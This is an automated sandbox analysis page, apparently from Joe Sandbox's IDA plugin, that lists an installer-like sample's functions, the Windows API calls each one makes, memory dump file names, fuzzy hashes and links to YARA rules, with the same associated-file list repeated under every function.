Associated: 00000000.00000002.1656100143.0000000000420000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1656100143.0000000000428000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1656100143.0000000000434000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1656100143.0000000000439000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1656100143.000000000046B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1656392922.0000000000500000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Yn13dTQdcW.jbxd

Similarity

API ID: PrivateProfileStringWritelstrcpyn
String ID: <RM>$NormMimeThFreightNaturalInfrared$WriteINIStr: wrote [%s] %s=%s in %s
API String ID: 247603264-1999113990
Opcode ID: c5828c37d5dac6f57dc8390ef1c26791cf4c32ef29eebf51540eb2f0813f71ea
Instruction ID: 073f588d32262f2f2aee4dc53e9f390c64699363c3e1a285ed73a3087a8005e5
Opcode Fuzzy Hash: c5828c37d5dac6f57dc8390ef1c26791cf4c32ef29eebf51540eb2f0813f71ea
Instruction Fuzzy Hash: FF014471D4022AABCB117FA68DC99EE7978AF08345B10403FF115761E3D7B80940CBAD

Function 004021B5 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 54
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 00404F9E: lstrlenW.KERNEL32(00445D80,00429574,74DF23A0,00000000), ref: 00404FD6
Part of subcall function 00404F9E: lstrlenW.KERNEL32(004034E5,00445D80,00429574,74DF23A0,00000000), ref: 00404FE6
Part of subcall function 00404F9E: lstrcatW.KERNEL32(00445D80,004034E5,004034E5,00445D80,00429574,74DF23A0,00000000), ref: 00404FF9
Part of subcall function 00404F9E: SetWindowTextW.USER32(00445D80,00445D80), ref: 0040500B
Part of subcall function 00404F9E: SendMessageW.USER32(?,00001004,00000000,00000000), ref: 00405031
Part of subcall function 00404F9E: SendMessageW.USER32(?,0000104D,00000000,00000001), ref: 0040504B
Part of subcall function 00404F9E: SendMessageW.USER32(?,00001013,?,00000000), ref: 00405059

ShellExecuteW.SHELL32(?,00000000,00000000,00000000,004D70B0,?), ref: 00402202

Part of subcall function 004062CF: lstrlenW.KERNEL32(RMDir: RemoveDirectory invalid input(""),00406EA5,RMDir: RemoveDirectory("%s"),?,?,?), ref: 004062DC
Part of subcall function 004062CF: wvsprintfW.USER32(00000000,?,?), ref: 004062F3

Strings

ExecShell: warning: error ("%s": file:"%s" params:"%s")=%d, xrefs: 00402211
ExecShell: success ("%s": file:"%s" params:"%s"), xrefs: 00402226

Memory Dump Source

Source File: 00000000.00000002.1656046190.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1656024097.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1656081785.0000000000409000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1656100143.000000000040C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1656100143.0000000000420000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1656100143.0000000000428000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1656100143.0000000000434000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1656100143.0000000000439000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1656100143.000000000046B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1656392922.0000000000500000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Yn13dTQdcW.jbxd

Similarity

API ID: MessageSendlstrlen$ExecuteShellTextWindowlstrcatwvsprintf
String ID: ExecShell: success ("%s": file:"%s" params:"%s")$ExecShell: warning: error ("%s": file:"%s" params:"%s")=%d
API String ID: 3156913733-2180253247
Opcode ID: 90e3c086b79b93c3d546270fca5f8a0155083991d9bd97c4b180a1ab42e6237a
Instruction ID: 745ed8f2a75272e62c3db2eabdadd847eb541a5ed47e1f4d533bb28834579f01
Opcode Fuzzy Hash: 90e3c086b79b93c3d546270fca5f8a0155083991d9bd97c4b180a1ab42e6237a
Instruction Fuzzy Hash: CD01F7B2B4021076D72076B69C87FAB2A5CDB81768B20447BF502F60D3E57D8C40D138

Function 00405EAB Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 37
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetTickCount.KERNEL32 ref: 00405EC9
GetTempFileNameW.KERNELBASE(?,?,00000000,?,?,?,00000000,0040382A,004DF0C0,004E30C8), ref: 00405EE4

Strings

nsa, xrefs: 00405EB8

Memory Dump Source

Source File: 00000000.00000002.1656046190.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1656024097.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1656081785.0000000000409000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1656100143.000000000040C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1656100143.0000000000420000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1656100143.0000000000428000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1656100143.0000000000434000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1656100143.0000000000439000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1656100143.000000000046B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1656392922.0000000000500000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Yn13dTQdcW.jbxd

Similarity

API ID: CountFileNameTempTick
String ID: nsa
API String ID: 1716503409-2209301699
Opcode ID: 4f25573a167f5d7e94ef3749a48273d52f629be49305b635a70712ae5e4e57be
Instruction ID: e8a8b8b1c64af8904643f6899c21fc71a506a3659d4cdc328e790c9301f5e3ed
Opcode Fuzzy Hash: 4f25573a167f5d7e94ef3749a48273d52f629be49305b635a70712ae5e4e57be
Instruction Fuzzy Hash: D8F09076600208BBDB10CF69DD05A9FBBBDEF95710F00803BE944E7250E6B09E50DB98

Function 00402175 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 28
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

ShowWindow.USER32(00000000,00000000), ref: 0040219F

Part of subcall function 004062CF: lstrlenW.KERNEL32(RMDir: RemoveDirectory invalid input(""),00406EA5,RMDir: RemoveDirectory("%s"),?,?,?), ref: 004062DC
Part of subcall function 004062CF: wvsprintfW.USER32(00000000,?,?), ref: 004062F3

EnableWindow.USER32(00000000,00000000), ref: 004021AA

Strings

HideWindow, xrefs: 0040218D

Memory Dump Source

Source File: 00000000.00000002.1656046190.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1656024097.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1656081785.0000000000409000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1656100143.000000000040C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1656100143.0000000000420000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1656100143.0000000000428000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1656100143.0000000000434000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1656100143.0000000000439000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1656100143.000000000046B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1656392922.0000000000500000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Yn13dTQdcW.jbxd

Similarity

API ID: Window$EnableShowlstrlenwvsprintf
String ID: HideWindow
API String ID: 1249568736-780306582
Opcode ID: 4821ec273fe2e599a5ae382fcc080c7bd17c9037b2f84cac4d1a2c1341ad8622
Instruction ID: f8c041d4f94449417b74c9df8c85987c6128e61f091d6cc810bdb42da7a8293a
Opcode Fuzzy Hash: 4821ec273fe2e599a5ae382fcc080c7bd17c9037b2f84cac4d1a2c1341ad8622
Instruction Fuzzy Hash: 13E0D832A04110DBDB08FFF5A64959E76B4EE9532A72104BFE103F61D2DA7D4D01C62D

Function 0040139D Relevance: 3.0, APIs: 2, Instructions: 42windowCOMMON

Download Yara Rule

APIs

MulDiv.KERNEL32(00007530,00000000,00000000), ref: 004013F6
SendMessageW.USER32(00000402,00000402,00000000), ref: 00401406

Memory Dump Source

Source File: 00000000.00000002.1656046190.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1656024097.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1656081785.0000000000409000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1656100143.000000000040C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1656100143.0000000000420000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1656100143.0000000000428000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1656100143.0000000000434000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1656100143.0000000000439000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1656100143.000000000046B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1656392922.0000000000500000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Yn13dTQdcW.jbxd

Similarity

API ID: MessageSend
String ID:
API String ID: 3850602802-0
Opcode ID: 0bd6c5a8fdcdf2cf9a6bba33cc7502a6d80b6dcfa2a0e894e00c73e73fb262d4
Instruction ID: 11189a7010c7ef4f551f6273c6f502c25af520ce36bbf29b1e3929f99495605f
Opcode Fuzzy Hash: 0bd6c5a8fdcdf2cf9a6bba33cc7502a6d80b6dcfa2a0e894e00c73e73fb262d4
Instruction Fuzzy Hash: 64F02831A10220DBD7165B349C08B273799BB81354F258637F819F62F2D2B8CC41CB4C

Function 00405E7C Relevance: 3.0, APIs: 2, Instructions: 15fileCOMMON

Download Yara Rule

APIs

GetFileAttributesW.KERNELBASE(00000003,004035F3,004EB0D8,80000000,00000003,?,?,?,00000000,00403A73,?), ref: 00405E80
CreateFileW.KERNELBASE(?,?,00000001,00000000,?,00000001,00000000,?,?,?,00000000,00403A73,?), ref: 00405EA2

Memory Dump Source

Source File: 00000000.00000002.1656046190.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1656024097.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1656081785.0000000000409000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1656100143.000000000040C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1656100143.0000000000420000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1656100143.0000000000428000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1656100143.0000000000434000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1656100143.0000000000439000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1656100143.000000000046B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1656392922.0000000000500000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Yn13dTQdcW.jbxd

Similarity

API ID: File$AttributesCreate
String ID:
API String ID: 415043291-0
Opcode ID: ea37a1a334eaa57c44c9ac3bd50a12c4681d8f83bf4f6bb47fe7ae46db9ee3b5
Instruction ID: 4537c79132fc6b4e07af9f6f4ddc5e1db4475248beafdc935845b7fb5ee8fdc2
Opcode Fuzzy Hash: ea37a1a334eaa57c44c9ac3bd50a12c4681d8f83bf4f6bb47fe7ae46db9ee3b5
Instruction Fuzzy Hash: 08D09E71558202EFEF098F60DD1AF6EBBA2EB94B00F11852CB252550F1D6B25819DB15

Function 00405E5C Relevance: 3.0, APIs: 2, Instructions: 9COMMON

Download Yara Rule

APIs

GetFileAttributesW.KERNELBASE(?,00406EAD,?,?,?), ref: 00405E60
SetFileAttributesW.KERNEL32(?,00000000), ref: 00405E73

Memory Dump Source

Source File: 00000000.00000002.1656046190.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1656024097.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1656081785.0000000000409000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1656100143.000000000040C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1656100143.0000000000420000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1656100143.0000000000428000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1656100143.0000000000434000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1656100143.0000000000439000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1656100143.000000000046B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1656392922.0000000000500000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Yn13dTQdcW.jbxd

Similarity

API ID: AttributesFile
String ID:
API String ID: 3188754299-0
Opcode ID: 5e2af4692c2c60a0182b675181584894d3553f063f17430bbe0abaa40064c643
Instruction ID: cfdb79520ecdf627421b2718222ef799ef1344ba1afc56e39be72dea6d7b0432
Opcode Fuzzy Hash: 5e2af4692c2c60a0182b675181584894d3553f063f17430bbe0abaa40064c643
Instruction Fuzzy Hash: 25C04C71404905BBDA015B34DE09D1BBB66EFA1331B648735F4BAE01F1C7358C65DA19

Function 00403336 Relevance: 1.5, APIs: 1, Instructions: 22fileCOMMON

Download Yara Rule

APIs

ReadFile.KERNELBASE(00000000,00000000,00000000,00000000,000000FF,?,004033D2,000000FF,00000004,00000000,00000000,00000000), ref: 0040334D

Memory Dump Source

Source File: 00000000.00000002.1656046190.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1656024097.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1656081785.0000000000409000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1656100143.000000000040C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1656100143.0000000000420000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1656100143.0000000000428000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1656100143.0000000000434000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1656100143.0000000000439000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1656100143.000000000046B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1656392922.0000000000500000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Yn13dTQdcW.jbxd

Similarity

API ID: FileRead
String ID:
API String ID: 2738559852-0
Opcode ID: f617a5e021c5b0a319d386adb8c185e40962a0be4c43712b9beeddd23e90c427
Instruction ID: 6ac59f4cb3fe35c1316d0bdd9a7bfda3bd496f009ebd6252a63c396af269f63e
Opcode Fuzzy Hash: f617a5e021c5b0a319d386adb8c185e40962a0be4c43712b9beeddd23e90c427
Instruction Fuzzy Hash: 17E08C32650118FFDB109EA69C84EE73B5CFB047A2F00C432BD55E5190DA30DA00EBA4

Function 004037F8 Relevance: 1.5, APIs: 1, Instructions: 20COMMON

Download Yara Rule

APIs

Part of subcall function 00406064: CharNextW.USER32(?,*?|<>/":,00000000,004E30C8,004CF0A0,004E30C8,00000000,00403804,004E30C8,-00000002,00403A37), ref: 004060C7
Part of subcall function 00406064: CharNextW.USER32(?,?,?,00000000), ref: 004060D6
Part of subcall function 00406064: CharNextW.USER32(?,004E30C8,004CF0A0,004E30C8,00000000,00403804,004E30C8,-00000002,00403A37), ref: 004060DB
Part of subcall function 00406064: CharPrevW.USER32(?,?,004CF0A0,004E30C8,00000000,00403804,004E30C8,-00000002,00403A37), ref: 004060EF

CreateDirectoryW.KERNELBASE(004E30C8,00000000,004E30C8,004E30C8,004E30C8,-00000002,00403A37), ref: 00403819

Memory Dump Source

Source File: 00000000.00000002.1656046190.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1656024097.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1656081785.0000000000409000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1656100143.000000000040C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1656100143.0000000000420000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1656100143.0000000000428000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1656100143.0000000000434000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1656100143.0000000000439000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1656100143.000000000046B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1656392922.0000000000500000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Yn13dTQdcW.jbxd

Similarity

API ID: Char$Next$CreateDirectoryPrev
String ID:
API String ID: 4115351271-0
Opcode ID: ec387b52da79c0d7c7db124e40c02042f93ac80872f0e6df2e3daec6660af043
Instruction ID: c72586207ca4fe3275e323c6ce7a55902ce0015f7edb1a19efdc0f2786dab76c
Opcode Fuzzy Hash: ec387b52da79c0d7c7db124e40c02042f93ac80872f0e6df2e3daec6660af043
Instruction Fuzzy Hash: 52D0921218293121C66237663D0ABCF195C4F92B2EB0280B7F942B61D69B6C4A9285EE

Function 00403DDB Relevance: 1.5, APIs: 1, Instructions: 9windowCOMMON

Download Yara Rule

APIs

SendMessageW.USER32(?,?,00000000,00000000), ref: 00403DED

Memory Dump Source

Source File: 00000000.00000002.1656046190.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1656024097.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1656081785.0000000000409000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1656100143.000000000040C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1656100143.0000000000420000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1656100143.0000000000428000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1656100143.0000000000434000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1656100143.0000000000439000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1656100143.000000000046B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1656392922.0000000000500000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Yn13dTQdcW.jbxd

Similarity

API ID: MessageSend
String ID:
API String ID: 3850602802-0
Opcode ID: bd6570ef2729c24474e20ae8e5d55f292f33ecedeb6df88af58882e0072056a2
Instruction ID: 85c9fcbfeeb581dd75f9c62538f5ff43d76368f59f1a6e3d2bff8e12452ff276
Opcode Fuzzy Hash: bd6570ef2729c24474e20ae8e5d55f292f33ecedeb6df88af58882e0072056a2
Instruction Fuzzy Hash: 0FC04C75644201BBDA108B509D45F077759AB90701F1584257615F50E0C674D550D62C

Function 00403368 Relevance: 1.5, APIs: 1, Instructions: 6COMMON

Download Yara Rule

APIs

SetFilePointer.KERNELBASE(00000000,00000000,00000000,00403786,?,?,?,?,00000000,00403A73,?), ref: 00403376

Memory Dump Source

Source File: 00000000.00000002.1656046190.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1656024097.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1656081785.0000000000409000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1656100143.000000000040C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1656100143.0000000000420000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1656100143.0000000000428000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1656100143.0000000000434000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1656100143.0000000000439000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1656100143.000000000046B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1656392922.0000000000500000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Yn13dTQdcW.jbxd

Similarity

API ID: FilePointer
String ID:
API String ID: 973152223-0
Opcode ID: 4bc311ea945a84079b9d2f50dcaf6257f2c75df5904c01363540678bd5f9aa8d
Instruction ID: a45aac6c24818fd8413ddab5752014fb5f73d741524c96ff6ff4c62981ea4fba
Opcode Fuzzy Hash: 4bc311ea945a84079b9d2f50dcaf6257f2c75df5904c01363540678bd5f9aa8d
Instruction Fuzzy Hash: 83B01231640200FFEA214F50DE09F06BB21B794700F208430B350380F082711820EB0C

Function 00403DC4 Relevance: 1.5, APIs: 1, Instructions: 6windowCOMMON

Download Yara Rule

APIs

SendMessageW.USER32(00000028,?,00000001,004057E0), ref: 00403DD2

Memory Dump Source

Source File: 00000000.00000002.1656046190.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1656024097.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1656081785.0000000000409000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1656100143.000000000040C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1656100143.0000000000420000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1656100143.0000000000428000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1656100143.0000000000434000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1656100143.0000000000439000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1656100143.000000000046B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1656392922.0000000000500000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Yn13dTQdcW.jbxd

Similarity

API ID: MessageSend
String ID:
API String ID: 3850602802-0
Opcode ID: 4d265d85d83b9aee7a2860bb21ac42a33598db5d2fcd0833c625a930327cbe25
Instruction ID: 19f7ed481b0b3084dfc48602985d3e47af739273f13ec77122cd0735a5794091
Opcode Fuzzy Hash: 4d265d85d83b9aee7a2860bb21ac42a33598db5d2fcd0833c625a930327cbe25
Instruction Fuzzy Hash: CCB01235181200BBDE514B00DE0AF867F62F7A8701F008574B305640F0C6B204E0DB09

Function 00403DB1 Relevance: 1.5, APIs: 1, Instructions: 4COMMON

Download Yara Rule

APIs

KiUserCallbackDispatcher.NTDLL(?,00405779), ref: 00403DBB

Memory Dump Source

Source File: 00000000.00000002.1656046190.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1656024097.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1656081785.0000000000409000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1656100143.000000000040C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1656100143.0000000000420000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1656100143.0000000000428000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1656100143.0000000000434000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1656100143.0000000000439000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1656100143.000000000046B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1656392922.0000000000500000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Yn13dTQdcW.jbxd

Similarity

API ID: CallbackDispatcherUser
String ID:
API String ID: 2492992576-0
Opcode ID: afebc9adcdbb38a0c5e5e33596f84c2f2140198a38245a29fea50a5d9e588109
Instruction ID: a171dc49094d5971c6211130fd655c06747b54d01a1b52cbafa865c71f5bacad
Opcode Fuzzy Hash: afebc9adcdbb38a0c5e5e33596f84c2f2140198a38245a29fea50a5d9e588109
Instruction Fuzzy Hash: 2CA001BA845500ABCA439B60EF0988ABA62BBA5701B11897AE6565103587325864EB19

Non-executed Functions

Function 004049A8 Relevance: 65.2, APIs: 33, Strings: 4, Instructions: 470windowmemoryCOMMON

Download Yara Rule

APIs

GetDlgItem.USER32(?,000003F9), ref: 004049BF
GetDlgItem.USER32(?,00000408), ref: 004049CC
GlobalAlloc.KERNEL32(00000040,?), ref: 00404A1B
LoadBitmapW.USER32(0000006E), ref: 00404A2E
SetWindowLongW.USER32(?,000000FC,Function_000048F8), ref: 00404A48
ImageList_Create.COMCTL32(00000010,00000010,00000021,00000006,00000000), ref: 00404A5A
ImageList_AddMasked.COMCTL32(00000000,?,00FF00FF), ref: 00404A6E
SendMessageW.USER32(?,00001109,00000002), ref: 00404A84
SendMessageW.USER32(?,0000111C,00000000,00000000), ref: 00404A90
SendMessageW.USER32(?,0000111B,00000010,00000000), ref: 00404AA0
DeleteObject.GDI32(?), ref: 00404AA5
SendMessageW.USER32(?,00000143,00000000,00000000), ref: 00404AD0
SendMessageW.USER32(?,00000151,00000000,00000000), ref: 00404ADC
SendMessageW.USER32(?,00001132,00000000,?), ref: 00404B7D
SendMessageW.USER32(?,0000110A,00000003,00000110), ref: 00404BA0
SendMessageW.USER32(?,00001132,00000000,?), ref: 00404BB1
GetWindowLongW.USER32(?,000000F0), ref: 00404BDB
SetWindowLongW.USER32(?,000000F0,00000000), ref: 00404BEA
ShowWindow.USER32(?,00000005), ref: 00404BFB
SendMessageW.USER32(?,00000419,00000000,?), ref: 00404CF9
SendMessageW.USER32(?,00000147,00000000,00000000), ref: 00404D54
SendMessageW.USER32(?,00000150,00000000,00000000), ref: 00404D69
SendMessageW.USER32(?,00000420,00000000,00000020), ref: 00404D8D
SendMessageW.USER32(?,00000200,00000000,00000000), ref: 00404DB3
ImageList_Destroy.COMCTL32(?), ref: 00404DC8
GlobalFree.KERNEL32(?), ref: 00404DD8
SendMessageW.USER32(?,0000014E,00000000,00000000), ref: 00404E48
SendMessageW.USER32(?,00001102,?,?), ref: 00404EF6
SendMessageW.USER32(?,0000113F,00000000,00000008), ref: 00404F05
InvalidateRect.USER32(?,00000000,00000001), ref: 00404F25
ShowWindow.USER32(?,00000000), ref: 00404F75
GetDlgItem.USER32(?,000003FE), ref: 00404F80
ShowWindow.USER32(00000000), ref: 00404F87

Strings

N, xrefs: 00404C32
@, xrefs: 00404BBC
, xrefs: 00404F65
M, xrefs: 00404B6F

Memory Dump Source

Source File: 00000000.00000002.1656046190.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1656024097.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1656081785.0000000000409000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1656100143.000000000040C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1656100143.0000000000420000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1656100143.0000000000428000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1656100143.0000000000434000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1656100143.0000000000439000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1656100143.000000000046B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1656392922.0000000000500000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Yn13dTQdcW.jbxd

Similarity

